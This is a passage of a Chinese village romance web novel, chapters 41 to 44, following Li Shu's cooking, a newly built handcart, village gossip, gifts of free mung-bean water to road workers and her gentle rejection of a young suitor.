这道红烧肉的做法是小时爷爷教的，小时她不爱吃青菜，就喜欢吃肉，爷爷便专门请教了苏氏饭馆的一位厨师学了这道菜，这是李姝从前餐桌上的常客。
只是后来爷爷去世了，此后她就学着爷爷的方法做了许多年，那是她在现代时唯一拥有的温情。
经过小火炖煮，又大火收汁后的红烧肉鲜嫩软糯，枣红色的表皮泛着油光，
入口后软滑的肉质浸着浓郁的汁水瞬间在口腔中起舞，醇厚的香味让李姝每一口都吃得十分满足，
她不由得轻叹出声，舒服！
享受的不止她一人，既上次的猪蹄后，李忠又爱上了这道红烧肉。
红烧肉丰富的口感让他沉醉其中，肥肉一抿便化，瘦肉瘦而不柴，猪皮软糯有韧劲。
爆开的汁水都透着鲜香，整个口腔都是醇厚的香味，他忍不住囫囵咽下，筷子伸了一次又一次，吃得嘴唇都泛起了油光，可他根本停不下来，太好吃了。
一旁的张翠花也同样如此，她还无师自通的学会了用汤汁拌饭，
浓油赤酱拌饭最是好吃，只需一小勺，用筷子轻轻拌匀，便能让每一粒米都裹上浓稠的酱汁，
油亮的米饭一入口，浓郁的酱香味便在舌尖扩散，比肉都好吃。
大家都不约而同地吃着一道菜，甚至那鸡蛋都没人碰，直到张翠花吃得有些撑了，才在胃里只剩最后的一点缝时夹起了鸡蛋。
蛋白浸透了红烧肉的汤汁，吃起来满口咸香，
再用汤汁浇一浇那最里面的蛋黄，入口又是新的口感，
她想下手再吃一个，可实在太撑，最后还是由李忠收了尾。
又是吃撑的一天，一家人已经很熟练的摊在椅背上消化被无限挑起的食欲，
一时间打嗝的打嗝，发呆的发呆，三人都默契的没有开口说话。
直到张桂香的声音在院子外响起，“翠花，在家吗？”
三人这才像是醒过来一般，李忠和李姝起身收碗，张翠花则应了一声，去开门了。
张桂香走进来时见李忠拿着碗筷走向井边洗碗，撞了撞张翠花有些打趣道：“噢哟，你家男人这般疼你，连碗都不舍得让你洗。”
张翠花也学着她撞了撞，不示弱地调侃了回去，“我可是好几回去你家都看见你家男人给你倒洗脚水了，要说疼人，哪比得过你家男人。”
两人从小一起长大，互相了解，戳心窝子都比旁人戳得准，
果然，两人都相似一笑，大王不笑二王，亲亲热热地进屋去了。
李忠蹲在一旁拿着丝瓜络来来回回洗着一个盘子，假装没听到，只是若有所思地看了一眼自家婆娘。
李姝已经端了茶出来，见两人进屋便先打了招呼，“婶子好。”
“哎，小姝，婶子怎地感觉许久不见你了，快来让婶子瞧瞧。”
一看到李姝，张桂香便跟老鼠见到猫似的两眼放光，上来就捏李姝的脸。
桂香婶子功力一直未减，李姝龇牙咧嘴地示意她娘出手，
尽管已经有经验了，她还是躲不开婶子的魔爪，婶子是小时候练过吗？
倒拔垂杨柳的人难道不姓鲁？
幸好张桂香也只是过过手瘾，她还有事要找张翠花，于是不多久就放手了，
李姝得以脱离，立马便找了个借口去了书房，再不走，她怕是要在魔抓之下鲜血淋漓。
张桂香瞧着李姝落荒而逃，笑着对身旁的闺蜜说：“小姝倒是活泼了不少。”
张翠花摸了摸还撑着的肚子，也一脸笑意，
“自从去卖吃食后便是这样了，变得越来越虎，上回那工地卖吃食的一个婆娘还说我家姝儿笑面虎呢，说是变脸忒快，吓得她心脏砰砰跳。”
张桂香标志性的大笑响起，有些不可置信，“就小姝这乖囡囡，还是笑面虎呢？性子乖得跟小猫似的，也能吓着她？”
张翠花也咧嘴笑了起
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来，“且说呢，她在那和黄巧梅说时，那黄巧梅都以为她吃食卖得不好，开始造谣报复了，吓得黄巧梅找我让我小心那人。”
这话倒是有理，张桂香有些认真道：“那确实有可能，还是得防着。”
张翠花摆摆手，“没事，后面她没再说了，要真敢说，我撕烂她的嘴。”
张桂香点头，没觉得这话有什么问题，要是让她听到，她也一样撕烂。
寒暄这么一会儿了，也没见张桂香说有什么事，
张翠花主动问道：“你今晚找我是有什么事吗？”
张桂香这才说道：“里长说今年后山的开山每家人出一个劳力，我瞧着你们定是没空，想着过来问问你，要不要我们家帮你出一个劳力，
宝川那活计已经做完了，他这段时间都在家，反正我在家闲着也是闲着，也能去出把子力气。”
这话问到张翠花心坎了，她正愁呢，
可虽是闺蜜，她也不能理直气壮的应下，“我家确实没时间，要不，我出钱聘你吧。”
张桂香拍了她大腿一掌，语气里带着亲密，“说什么呢。”
看张翠花认真的模样，她又笑了，知道自家闺蜜是什么性子，
于是敞开道：“我不跟你客气，再说那些虚头巴脑的话我都嫌累，
这样吧，我帮你出劳力，你看能不能让姝儿教教成贵认字，你上回不是说姝儿上进了，又把从前放下的书捡起来了吗？”
“成贵你不是打算把他送到镇上成良那吗？镇上有正经夫子，
姝儿你又不是不知道，从小和小渔两人就不爱读书，如今只是刚有点上进的模样，你不怕她教坏成贵啊？”
张翠花这话倒不是推脱，两家人的孩子什么情况都是互相清楚的，
姝儿从前是宁愿跟着小渔爬树都不愿认字，要不是公爹拘着，怕是连笔都不会握。
张桂香不在意地笑了笑，“我瞧着成贵也不是那有天分的，他还小，让他先认认字就好了，大点再去书院也成。”
张翠花还是了解她的，面上有些担忧地问道：“是出什么事了吗？”
张桂香闻言，神色有些不自然，半晌，她才忸怩地低声说：“成良小两口成亲不久，我还等着抱孙子呢，没得让成贵去打扰他们。”
张翠花噗嗤一笑，终于懂了，捏了捏闺蜜的腰，
调侃道：“这就急着当祖母了？成贵还不够你烦的？
况且你这身子骨，再生一个也是使得的，到时侄子小叔子年岁颠倒，看你害不害臊。”
一句话说得张桂香脸颊泛红，“要死了，你这婆娘满脑子想得什么，我怎么还会再生？”
一想到那不可言说的闺房之事，她便有些心虚，自家男人确实痴缠过几回，可她不愿再生，早已拒绝了。
这张翠花，仅是一个打趣，便能戳中她心窝子。
见自家闺蜜这般神态，张翠花有什么不懂的。
李忠也缠过几回，羞得她差点便应了，可最终还是被理智拉回，不然怕是连孩子都出生了。
一想到当时的情景，张翠花也有些心虚的清了清嗓，脸上泛着一些不自在。
总之，两人最后还是定下了这事。
当时李姝正在完成掺无人道的大字练习，听她娘和婶子问她时，她二话不说便应了，
反正只是每日教几个字而已，不费什么事。
李忠一直在院子乘凉消食，没发表任何意见，家里的事自然是婆娘说了算，只是孩子的事...
当晚，他刚开了个口，便被脸红的婆娘掐红了腰，“李忠，你这老不羞的！”
怪不得今晚他这么殷勤地帮她倒泡脚水呢。
李忠声音低哑的应了，都老夫老妻了，有什么羞不羞的，还是抱紧婆娘要紧。
42. 第 42 章
十日工期已到，林掌柜如期完成了板车。
十日后的申时，林记木工铺内，林掌柜围着最后的成品仔细检查，时不时对着那霸占了自己躺椅的人露出“贪婪”的目光。
“啧啧啧，老张，你这奇思当铁匠有些可惜了，不如跟我学木工吧，保准你能成为这平山县远近闻名的巧匠。”
被挖墙角的人没应声，他此时手上拿着一沓孩童的大字漫不经心地看着，
时不时起身拿起旁边矮桌上的毛笔对着大字便是一个圈，
速度虽和李挺没得比，可下手却是狠了许多，
粗粝的手握着笔几乎将整张大字都圈了个遍，比那地狱的判官执笔断生平还爽快。
拉着板车在院内走了一圈的林掌柜越看越是喜爱，蹲下身将那两个车轮子差点盯出个窟窿，“老张，你从前在定北军中是当车匠的吧？你怎地会想到增加辐条数量以增加稳定性的？”
这板车按李小姐所述，是要人力拉动，许是家里没有足够的银钱置办驴马等牲畜，于是只能暂且由人力代替。
可人力终究要弱些，也不会像牲畜那般稳定，路面稍不平稳便有可能会压不住车子。
增加了轮辐虽说重了些许，可也好过车轮不稳以致载物侧翻的好。
况且这拉杆前端也加了两个卡扣，既防止拉动车子时脱手也能让拉车子的人借些力，车板两侧的木撑更是板车稳定的坚实后盾，一旦有侧翻的可能，拉杆直接往下压便可。
这板车怎么看怎么巧，虽说是自己做成的，可若没有张寒铮的巧思，林掌柜怕是也做不出来这般符合客人要求的车子。
不到一盏茶时间，张寒铮便放下了笔，改为躺在椅子上闭目养神，这些时日他紧赶慢赶，那几套锅具的活计终是在最后工期完成了，幸好自己留了好些生铁，不然怕是要延期。
旁边那被圈了大半的大字可怜兮兮地被折成了两半，可以预见，这密密麻麻的墨迹又要染黑一个少不更事的少年心了。
林掌柜絮絮叨叨地说了许久，也不见张寒铮答一句，他也不恼，只因早已熟知此人性子，若是遇到不想说的，便是一个眼神都不会给。
他没再问话，只认真地拿着规和尺对着车轮一顿校准，最后又拿来悬垂检测正相对的辐条是否垂直，直至最后一道检验工序完成，林掌柜才真正松了口气。
收好工具，他又进屋新沏了壶茶，不讲究地端着茶杯蹲在矮桌旁喝着，突然瞧见桌角放着的惨绝人寰的“判书”，林掌柜嘿笑一声，对着闭目养神的人道：“你这般拘着铁蛋，怕是要让他在家憋出病。”
平日里书院有夫子拘着就算了，回家还得被这无良的爹拘着，小孩子怕是连出去放风的机会都没有。
闭眼休憩的男人眼皮都没抬，低沉的声音透着些无奈，“不然让他出去和人扯淡、赌钱、嚼舌根吗？”
林掌柜没声了，铁蛋娘早死，祖父母也因着大儿子的事思虑过重去了，如今就剩下个从出生直到五岁都没见过的爹。
铁蛋小朋友天生话痨，可城北并非那适合住人的街巷，这里商铺居多，平日里人来人往十分吵闹，商铺的掌柜若是一家人多，便大多会在别处另置宅，而非在此住下。
因此铁蛋从小便没有玩伴，好不容易去了书院才有了和同龄人接触的机会，可书院的同窗除了在书院时能聊一聊，下学便只能各回各家了。
回家后这不熟的爹是个严肃话少的，又不时要忙着赶些活计没空陪儿子，导致铁蛋只能天天在左邻右舍串门。
大人的话他虽有时听不懂，可他记性好，时不时便能蹦出些不知哪里听来的浑话，连神态都能学得十分像，再这么下去怕是迟早得长成个破落无赖。
用练字来拘着他，已是最好的法子了。
为了让他活动活动，张寒铮有时也会拉着他儿子帮他碎石或是搅拌石粉，让他不至于崩溃，或是吵着闹着要出门。
林掌柜也知道原因，可这并不是长久之计。
他握了握杯子，放到嘴边轻啜一口，透过杯沿观察着眼前的人试探道：“若是家里多个人照看他，便不用这么麻烦了，没准还能多个玩伴。”
张寒铮终于睁眼，起身时，视线不经意扫过院门，随手拿起矮桌上的茶杯喝了口茶，试探的视线还停留在他身上，他抬眸，剑眉微挑，竟点头道：“有道理。”
林掌柜顿时一阵喜色，“想通了？我那侄女不仅才貌俱佳，更是有着一双勤快的手，她家里上上下下都是她打理的，邻里见了都是夸的，与你很是般配。”
见张寒铮不说话，以为他有顾虑，林掌柜又了然地接着说：“她之前也见过铁蛋，不介意当继母，你若是娶了她，定能将日子过得和美。”
林掌柜并没有坑他，他侄女确实是个勤快的姑娘，虽不至于说才貌俱佳，可也算是中等姿色，张寒铮也清楚，所以才更是感激。
他没有嫌弃或是轻视，只凝眸认真道：“不合适。”
说了三回了，次次都是拒绝，林掌柜也终于歇了心思，要不是自家大哥托着问了好几回，他也不至于问上这么多次。
只是他还是有些好奇，这瞧着也不像是不想再娶，可回回介绍的时候又都说不合适。
他拉了张凳子坐下，一副长谈的姿态，“究竟什么样的才合适？”
张寒铮没来得及答，此时李姝的声音在铺子外响起，“林掌柜在吗？”
随着林掌柜一个应声，李姝挎过院门走了进来。
今日她穿了一身藕粉色的交领衫搭墨绿色褶裙，跨门进来时，清丽的笑容在脸上散开，灵动的双眸顿时荡起一阵清澈的涟漪，像是一朵夏日雨后的藕荷，娇俏清甜，沁人心脾。
这样的，便合适。
只是这一句，注定只能藏在心里了。
李姝一进门便瞧见了那院子中央的板车，眼中喜色顿起，这板车外表和她想要的没甚差别，除了轮子上没有轮胎。
这也没办法，时代局限，除开轮胎不说，其他的甚至比她在现代见过的还要精巧，各个连接处都严丝合缝，这林掌柜果然是个细节控。
“林掌柜，这板
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车是完工了吗？”一进门只点头打了个招呼便直奔板车而去的人终于开口说了话，语气难掩兴奋。
林掌柜早已行至车旁，笑着点头：“是，林小姐，您可以拉动试试。”
李姝抬手握住拉杆，往前踏了一步，额，没拉动，又试着加大了力气，倒是往前走了，可一下又退了回去。
这是怎么回事？
身后传来一道低沉的嗓音：“肩膀打开，小臂前屈，抬高些。”张寒铮话说得不紧不慢，可没有鄙夷与嘲笑，只是沉稳又认真的引导着李姝。
李姝下意识按照指示做了动作，发现确实省力了不少，她往前走了几步，终于将板车拉动了。
“多谢！”一双眸子明净清澈，眉眼弯成了月牙。
明明脸上看起来是个柔弱胆小的小女子，却总是在不经意间透出些无视世俗的不拘与肆意，看着像是并无男女之防，仿佛无论是谁在她眼中皆一样。
所以面对上位者不必惶恐，面对无赖不会惊慌，面对陌生的男子，也不用含羞。
张寒铮靠在院中的树下点头回应，一副随口一说毫不在意的模样，只是眼光所及之处，却都是那一抹认真的倩影，眼底的暗流仿佛被什么荡起波澜，一时间清润又温柔。
多走几次，李姝便大致熟悉了拉车和推车的姿势，
只是毕竟是实木，即使有轮子作为支撑，李姝还是禁不住手酸了起来，
要不是原身身体还算康健，以她在现代的身子，怕是再怎么省力也拉不动车子。
林掌柜一边看着一边在给她表述自己的检测结果，以示自己这车子是符合标准的，并非随意糊弄客人。
李姝爽快地付了尾款，车子她已经试过，确实不错，虽然她不懂细节，但是看林掌柜的人便能知道他的出品不差，况且...
她甩了甩手，装作不经意地往院中树下看去，这个与她并无任何交情的男人三番五次出手帮忙，他与这掌柜的交好，也能说明林掌柜人的确不错。
林掌柜尾款落袋，笑眯眯地邀请李姝喝茶，正想拒绝，铺中张翠花的声音响起：“掌柜的在吗？”
“麻烦林掌柜帮我把这车子搬到外面，我和我娘赶着回去，下回再来叨扰。”
“行，那我就不留林小姐了，这车子三个月内若是有任何脱落破损，皆可到我店里免费修补，往后若是有磨损，亦可过来找我。”说完，林掌柜和早已走到车子旁的张寒铮一人抬起一侧，将车子搬了出去。
娘俩兴奋地拉着板车走了，身后的张寒铮回身拿起那一沓“费尽心思”批改的大字，也回了隔壁，留下林掌柜莫名的眼神。
那被霸占了一个时辰的躺椅终于回到了主人手中，林掌柜躺下，自在地晃了晃，半晌伸手一拿，入口才发现是个空杯。
“这人，什么时候进屋多拿了个空杯出来？”
眼眸一转，张寒铮这几日的反常涌现脑中，林掌柜恍然一笑，终于明了，“我说怎地今日突然有兴致应我的话茬。”
原是老树冒了新芽，准备花开第二春呢。
43. 第 43 章
李姝娘俩推着板车进村时，已近日落。
大桃树只剩下稀稀疏疏的叶子挂在枝头，远远望去，那形态各异的叶子仿佛一个个归巢的倦鸟。
偶尔一阵凉风吹来，微弱的窸窣声像是在商量着，该轮到谁落地了，半晌，和着树下传来的笑闹声，才有三两片叶子缓缓飘落。
推着这么一个大家伙进来，想不引起注意都难。
“翠花，你现在卖吃食都用上车子了？”一个身穿墨绿褙心的妇人扬声问道。
随着她的出声，树下其他妇人皆转头望了过来。
李姝闻声转头，一个是之前去工地卖糖糕的香兰婶子，听娘说她上次糖糕没卖出去又丢了面子，被婆母挤兑了好些天，后来便没再去工地了。
还有一个是目前正在工地卖零嘴的黄巧梅，虽说她的生意也不好，可她却是除了李姝一家外做的最好的。
零嘴没那么容易坏，她做一次可以卖许久，也不用担心做多了浪费。
加上她卖的价钱比县里便宜些，偶尔有的工人嘴馋了，也会去她那买点瓜子或是腌梅子。
这样反而让她把摊子摆成了，虽说短时回不了本，可只要她坚持卖完，也能赚上些许。
还有一个是清芸的嫂子，李姝上回见过，最后剩下那个便是出声问话的人，李姝不认识。
张翠花推着车子没停，只淡淡回道：“背篓背得肩膀疼，姝儿心疼我，便打了这么个车子。”
“小姝真是孝顺又能干，这吃食才卖了不到一个月，便连车子都有了，看来是赚了不少吧？”
这话问得就有点越界了，李姝只笑了笑没应声，张翠花憋着火正想翻脸，此时右侧却传来了一道阴阳怪气的声音。
“有些人还是少吃咸菹菜吧，免得一天天的尽管闲事。”
张桂香端着盆洗菜水，往旁边菜园的木桶里倒了进去，水高高地往下倒，啪地一声，像是往人脸上拍了一巴掌。
坐在自家屋门前晒太阳的莲花奶奶听见儿媳妇的话，以为自家晚上要吃咸菹菜，顺嘴便接着说了一句：“桂香，咸菹菜不好吃，吃完一身酸臭味。”
“噗嗤！”
李姝没忍住轻笑出声，眼眸一转，发现她娘嘴角也快压不住了。
莲花奶奶，您的嗓门真大，真好！儿媳妇也选得好，就得按嗓门选！
张翠花推着推着发现力气越用越大，转头看自家女儿看热闹看得起劲，乌黑水润的眼珠子咕噜咕噜转来转去，像个好奇的小猫似的，手上连力气都忘记用了。
这个小促狭鬼。
“姝儿，回家。”张翠花把女儿喊回神，她只朝着张桂香点点头，便带着女儿走了，也没再理身后人的捻酸。
而身后，方才还一脸酸的妇人此时脸色发红，张桂香这话算是戳到她肺管子了。
她娘家人便是在富贵人家的庄子上帮着做咸菹菜的。
她从小便爱吃，隔个三五日不吃就想，就因着这道菜，她没少和自家男人吵架。
如今又被人将自己的小心思点出来，她有些下不来台，怒目回道：“张桂香，你胡说什么？我不过是闲聊几句，怎么就成管闲事了，你家男人没活干了，让你用案板来顶门，管得这么宽。”
这话并没有激怒那拿盆的人，张桂香冷笑出声，直白地戳穿她的心思：“闲聊？谁不知道你是黄鼠狼给鸡拜年没安好心，瞧着别人摆摊便眼红捻酸，还撺掇别人去抢生意，怎么？发现抢不过，又开始假模假样装好人了？”
说完也不给别人反驳的机会，张桂香转身便进了自家院门，空留面红耳赤的人在原地跳脚。
彻底破防的人脱口便是粗话，李姝没再听，只暗暗在心里给桂香婶子点了个赞。
而已经被撺掇成功的陈香兰和黄巧梅，面上都有些讪讪，相互递了个眼神便借口回去做饭溜了。
两人面上没显露什么，只是心里却都愤愤吐槽，难怪她自己提出来要去摆摊，却最后只有她俩去了。
在一旁看了半天戏的清芸嫂子，拉着已经“你...”了半天的妇人在劝慰，也不知说了什么，惹得那怒火中烧的妇人顿时歇了火。
李姝娘俩推着板车已经走远，抬眼望去，夕阳远远地挂在山头，四散的光将自家屋子裹上了一层金黄色的外衣，让渐入深秋的凉意都被驱散了些许。
一进门，张翠花便迫不及待地和自家男人说起了板车，方才的小插曲并未影响她的心情，她所有心思都放在了自家这新物件上。
爹娘拉着板车在院外绕圈，院子地上凌乱地放着两个背篓，背篓中的肉就这么孤零零地被抛弃了。
李姝...
究竟谁才是长辈？玩心怎地这么重！
“姝儿，快来，你爹说他用这车子拉我们！”院外张翠花的声音传来，话语难掩兴奋，李忠在一旁摩拳擦掌，像是准备好要大干一场。
这...好像挺好玩的！
“来了！”
“娘，我在前面，你在后面！”
“不成，姝儿，你轻一些，在后面！”
最后，李忠拉不动，只能娘俩一人一次分开坐，而院子里，地上的肉彻底被遗忘了。
王涛最近心情有些低落，连着几日都不怎么说话，只盯着脚下的路埋头苦干。
搬完最后一块石头，他拍了拍手拿起不远处放着的水坛子，仰头将最后一口水咕嘟咽下。
这点水不够他润嘴的，他舔了舔唇，转头往身后看去，离这一里地远的位置搭了个简易的棚子。
那监头便坐在棚子底下嗑瓜子闲聊，他们只在坐累了伸懒腰时才会过来巡一巡，平常轻易不动身，生怕尘土染脏了他们的衣裤。
棚子旁边放着好几个水缸，可都盖上了盖子，此时还未到分水的时辰。
水太少，他们规定只有固定的时辰方可过去接水喝，每个人虽说都会自带，可一个人又能带多少，如今正是秋燥之时，正是需要多喝水的季节。
王涛瞥了一眼正吹牛的监头，心下冷哼，他们桌上的碗倒是从未空过。
他收回了不满的眼神，放下了水坛，也放下了不必要的闷气。
时值正午，平日里都准时出现的倩影还未出现，他扭头找了找，往身后走去。
“忠叔，今日婶子不来了吗？”
李忠拍了拍身上的尘土，闻言往路口望去，也有些疑惑，“许是有什么事耽搁了。”
如今路已经修到了桃李村附近，按理说她们应来得更快的，可今日到正午了还未见人，吃惯了饼子的众人纷纷在找李姝娘俩，“怎地不见姝丫头和张娘子，今日不卖吃食了？”
李忠也不清楚，眼里泛起些许担忧，只还是安慰众人道：“卖，许是遇到什么事了，劳烦各位再等等。”
工人们三三两两找地休息，就在这时，路口终于迎来两人身影。
只见她们一人拉着一辆板车，一人在后面推送，板车上放着背篓和两个木桶，两人都有些小心翼翼。
李忠上前将拉手接了过来，王涛在李姝对面扶着车子往前推。
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众人都有些好奇，“弟妹，你今日是拉了什么过来。”
随着李忠将木桶提到地上，众人终于看清，这桶里居然是绿豆水！
张翠花这时才应声：“这是我们刚熬的绿豆水，因着实在颠簸，怕将水洒了，这车子便拉得有些慢，于是便晚来了一些。”
她暂时没说白送，那心思活络的人瞧着桶里绿豆量少，熬得不浓，便有些试探道：“这绿豆水怎么卖？”
要是李家人说得比他们家那两文钱一碗的绿豆水贵，他定是要出言嘲讽，就这么一点渣子，想糊弄谁呢？
李姝把车上的碗拿下来，闻言抬眸望了过去，这人好像和那卖绿豆水的婶子是一家子？
她顿时明白了他那未明说的情绪，于是看着他展颜道：“这绿豆水是送给大家喝的，不卖！”
此话一出，周围一片哗然。
“白送？”
张翠花在一旁点头，“对，前些日子我不是说了吗？若是修到桃李村，便给各位送水来，如今送正是合适。”
顿了顿，又补充道：“也就这几日离得近些，我们能送一送，稍远些便无能为力了，还望各位不要嫌弃。”
“婶子，您能送上几日便已是大善了，我们感激都来不及怎会嫌弃。”身后王涛清亮的声音传来，顿时将此事基调定下——送水是情分，不是本分。
李姝感激地往身后看了过去，悄悄对着解围的人点了点头。
既然是送的，自然就不会对绿豆的多少、甜度的浓淡有任何的苛刻，甚至还觉得这绿豆水做得十分良心，不比买来的差。
“我们家碗不多，各位带了水坛子的最好就用自家的，免得排着等半天。”爱操心的张翠花又开始组织起了秩序，边舀还边指挥排队。
李姝在一旁负责卖包子，众人买完便自觉地去绿豆水那排队，一时间竟十分和谐。
而隔着不远处那原本卖绿豆水的妇人，暗暗咬了咬牙，她男人则不争气地去买了饼子，又排着队等下喝绿豆水。
气得她自己喝了一碗自熬的糖水，反正这几日也没人会来买了，便宜那不知好歹的男人，不如便宜自己。
绿豆水很快便没了，有些没买饼子的人不好意思舔着脸排队，便也没喝上，可其他人也只喝了一碗，并不过瘾，大都有些意犹未尽。
见饼子也卖完了，张翠花站起身又开了口，“家里还有些绿豆水没拿过来，大家先休息，我们回去再给你们送来。”
这话一出，又是一阵哗然。
“还有？”
“还是白送吗？”
而善良的人已经有些不好意思，“弟妹，能有这一碗解解渴已是够了，不用再送，快回去休息吧。”
“对啊，不用了。”
“没事，都已熬好了，如今天气干燥，多喝点绿豆水也能缓解些燥热。”说话间李姝已经把水桶都搬上了车子，李忠正在吃饭，闻言想跟过来，被张翠花阻止了。
周围的人见状，热心的便适时开了口，“嫂子，我同你一道去吧，反正不远，来回也不耽搁。”
这话一出，立时广受附和，“对！我们一道去，也能帮着使点力气。”
最后一番商量，决定还是去两人便够了，众人没抢过张蒙，而张蒙又拉着王涛一道，于是第一日的人手便这么定了。
李忠本想阻止，他上回已隐晦拒绝过张蒙，没想到张蒙像是还没有死心。
李姝对着自家爹使了眼色，示意他不要出声，此次正好是一个机会，她不想错过。
44. 第 44 章
正值午时，桃李村一片安静，村民大都在午睡中。
太阳一如既往地勤勤恳恳，阳光铺洒得到处都是，晒得大地上的生物昏昏欲睡。
连大桃树上那生命力旺盛的残叶都有些蔫了，静静地垂挂在树梢一动不动。
一行四人沉默地进了村子，王涛推着车子走在前面，紧跟着的是目不斜视，突然拘谨有礼起来的张蒙，而张翠花和李姝则走在后头。
车轮吱嘎的声音在安静的村子中显得有些突兀，王涛下意识地将板车推得慢了些，扭头轻声问：“婶子，还要往前走吗？”
随着王涛这一声问话，本有些沉默的气氛顿时活络了些。
“对，往村尾走，再走个约莫一刻钟便到了。”
张蒙有些忐忑，他平日里本是有啥说啥的直性子，可为了让“亲家”能对自家侄子有个好印象，愣是憋了一路不敢高声说话。
此刻终于有人打破了沉默，他轻舒了口气接话道：“嫂子，这路瞧着近，可走起来也颇费腿脚，你和姝丫头今日过来时怕是受了不少罪吧？”
一说到这个张翠花就有得聊了，她立马回道：“可不是嘛，这板车若是装些不拘着正放倒放的货物倒还好，可装上两桶水便难了许多，
不仅要小心扶着，还得保证这板车拉得平稳，我这头一回使，差点在路上翻了过去。”
李姝听了有些泄气，是她想得太天真了，没想到真正用的时候竟然这么难。
这也是她们娘俩这么爽快就应下了别人的帮忙的原因，两个人确实有些手忙脚乱，路上好几次水桶都差点后倒，她小心翼翼地扶了一路才堪堪在正午时分到工地。
“婶子，下回您还是先拿着饼子过来，至于这水，我们下了工过来走个两趟便是，您和姝...”
差点将常埋心底的称呼说了出来，王涛有些慌乱地转了话口：“小姝妹妹就不用辛苦拉水过来了。”
张蒙也适时补充，“对，嫂子你们能给我们白送水就已经帮了大忙了，我们最多费点力气走两趟，等会回去我便和他们说，不怕他们不来！”
忍了没有一刻钟，张蒙这大咧的性子便又展现得淋漓尽致，粗粝的嗓门衬着他高大的身形，显得有些凶，周身都是仿佛若是敢有人不来便要找人打一架的气势。
幸好在场的人都大致知道他的性子，张翠花也并未因此不适，只朗声笑道：“那我也不推诿了，这水我们娘俩确实是拉不过来，
只要你们不嫌麻烦，便可随时过来取，虽不至于日日都有绿豆水，但熟水保管够，我们这灶里定不会熄火。”
两人自顾便定下了承偌，剩下两个小孩没有发言权。
李姝悄眯抬眸往王涛的方向看去，却对上了一双疏朗的明眸，眼底的情绪热烈又深情。
猝不及防交汇的一瞬间，对面的人顿时闪烁地错开了眼神，扭头的动作又快又急，后背挺直地僵着，半晌，也不知道想到了什么，连耳廓都红了，一系列无措的动作都彰显着少年人难掩的青涩。
李姝...
这模样，妥妥一个陷入恋热恋的小男生，看着眼前这尴尬地已经开始顺拐走路的人，李姝有些心虚的清了清嗓，心内罪恶感十足。
李姝，你害人不浅啊！
“娘，这南瓜熟了，今日就把它摘了吧。”路过自家菜园时，李姝突兀地找了个拙劣的借口，惹得已经踏入院门的人都回身看着她疑惑不已。
不尴尬不尴尬，只要我不尴尬，尴尬的就是别人！
李姝疯狂在内心给自己打气，在她娘说了声好之后硬着头皮又接了一句：“王涛，可以麻烦你一会帮我拿进去吗？南瓜太重了我拿不动。”
顿时，三人六目，皆是震惊。
张蒙是最先反应过来的，他先是下意识地嘿笑了一声，又赶忙住嘴，欲盖弥彰地说道：“让他拿，这小子天天一身力气每处使，姝丫头你尽管使唤。”
张翠花再迟钝也感觉出不对劲了，可毕竟是自家女儿说出来的话，她也不能当着众人的面让她下不来台，于是也没说什么，只引着张蒙去了灶屋。
从李姝叫住他开始就脸色微红的王涛此时正背手抠着掌心，身子却在原地站着一动不动，眼神闪烁间触到了李姝的视线，差点又来了个挺背立正。
李姝装作没看到他的紧张，只扬唇开口：“麻烦你了。”
悄悄深吸了一口气的人终于转身抬眸，只一瞬又垂下了双眸，声音清晰又干脆，“不麻烦。”
说完抬脚便往菜园走去，手脚终于不再顺拐，可动作神色间还是可以看出紧张。
连经过李姝时都下意识地贴着院墙走，生怕唐突心爱的姑娘，爱意单纯热烈却又懂得在合适的时候克制。
李姝心下叹了口气，美好的初恋啊，确实挺让人怀念的。
“王涛。”
李姝转身叫住了错身而过的人，惹得王涛疑惑回身。
看着这清澈单纯的少年，李姝一时间不知该怎么开口。
其实这件事并没有被挑明，王涛也从未和谁说过，甚至后来他怕坏了姑娘名声，也不敢在李姝身旁驻足逗留，更不敢主动找她说话，只是周围亲近的叔伯偶尔看出了些端倪。
李姝也清楚，所以才更纠结。
我不喜欢你，你值得更好的？
会不会太直白了？
我现在不想嫁人，只想搞事业？
这不是给人希望吊着别人吗？
看着眼前神色不定，欲言又止的李姝，王涛从满心欢喜中醒悟过来，其实李忠上回对着张蒙隐晦拒绝，说自己就一个女儿不会让她随便嫁出去后，王涛便知道了李家长辈的态度。
张蒙没有听懂言外之意，可是他懂，所以他才心神不宁，惶然痛心。
方才那不经意的对视，让他误以为李姝其实也心悦自己，可看着眼前这只有纠结却并未见半分羞怯的女子，他明白了她不知该如何开口的情绪。
喉咙里像是堵了团棉花，让他一时间连呼吸都痛了起来。
停顿了好一会儿
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，他才压下了所有的苦涩和自嘲，低下头掩盖了眼中的失落。
半晌，他抬头，了然地回答了李姝还没来得及说出口的话：“我知道，姝...小姝妹妹不用为难，我都清楚，不好意思，我定是给你添了许多烦恼吧？”
李姝抬眸，眼前的人明明难受到了极点，眼中的泪光都快溢出来了，却还是在为给别人造成麻烦而道歉，生怕别人为难。
她应声展颜，没有装作不解，没有假意安慰，也没有不屑嘲讽，只是凝眸敛眉，神色认真道：“祝君早日得觅佳侣，相伴此生。”
勉强挂着一丝笑意的少年眼泪终于滑落，将他眼中最后的一点倔强抽出，他抬袖掩住面容，染湿的衣袖好半晌才放下。
他看着眼前的姑娘，双头交握身躯半低，朗声应道：“承李小姐吉言。”
李姝心下赞叹，眼前的人有少年人的单纯疏朗，又有成年人的沉稳周到，聪敏又善良，他的父母定是很好的人，才能把自己的孩子教得这般懂事。
闷声解决了问题的两个年轻人谁都没透出一丝异样，张蒙和张翠花各自瞧着自家孩子，谁都没瞧出什么。
最后也只当是李姝确实心血来潮地想要摘个南瓜，并非他们想得那般两人借机互诉衷肠。
四人到了工地便开始分水，午休的时辰不多，分完水他们也能安心地休息。
热热闹闹地声响引起了远处那在棚下睡觉的监工的不满，平日里李姝卖完饼子便走了，他们也不屑过来，如今突然折返，还引起骚动，立时便触到了他们的逆鳞。
“吵吵嚷嚷地做什么？不想休息就起来干活！”边说还边走到李姝他们跟前，泄愤似的踹了一脚木桶，“什么破烂玩意也拿出来，再吵便每日加一个时辰！”
这话不算是吓唬人，上官只要结果，至于过程中有没有违反契书，只要没人去告，便也不会被重视，若是这监头真的磋磨工人，十有八九不会受到惩罚，因为没人敢告。
幸好这木桶中的绿豆水还没分，他一脚没有踹倒，四周的工人们都低眉收了声，按理说没人注意到，可他却还是不解气，照着木桶的把手又补了一脚。
张蒙眼疾手快地扶住了，他长得高大，又很是结实，抬眸定定地瞧着人时便有着让人发憷的气势，那监头一时被震住了，眼珠子左右巡视了一圈，发现大多数人都抬眸盯着自己，一人的怒意不算什么，可若是一群人的...便有些令人生怖了。
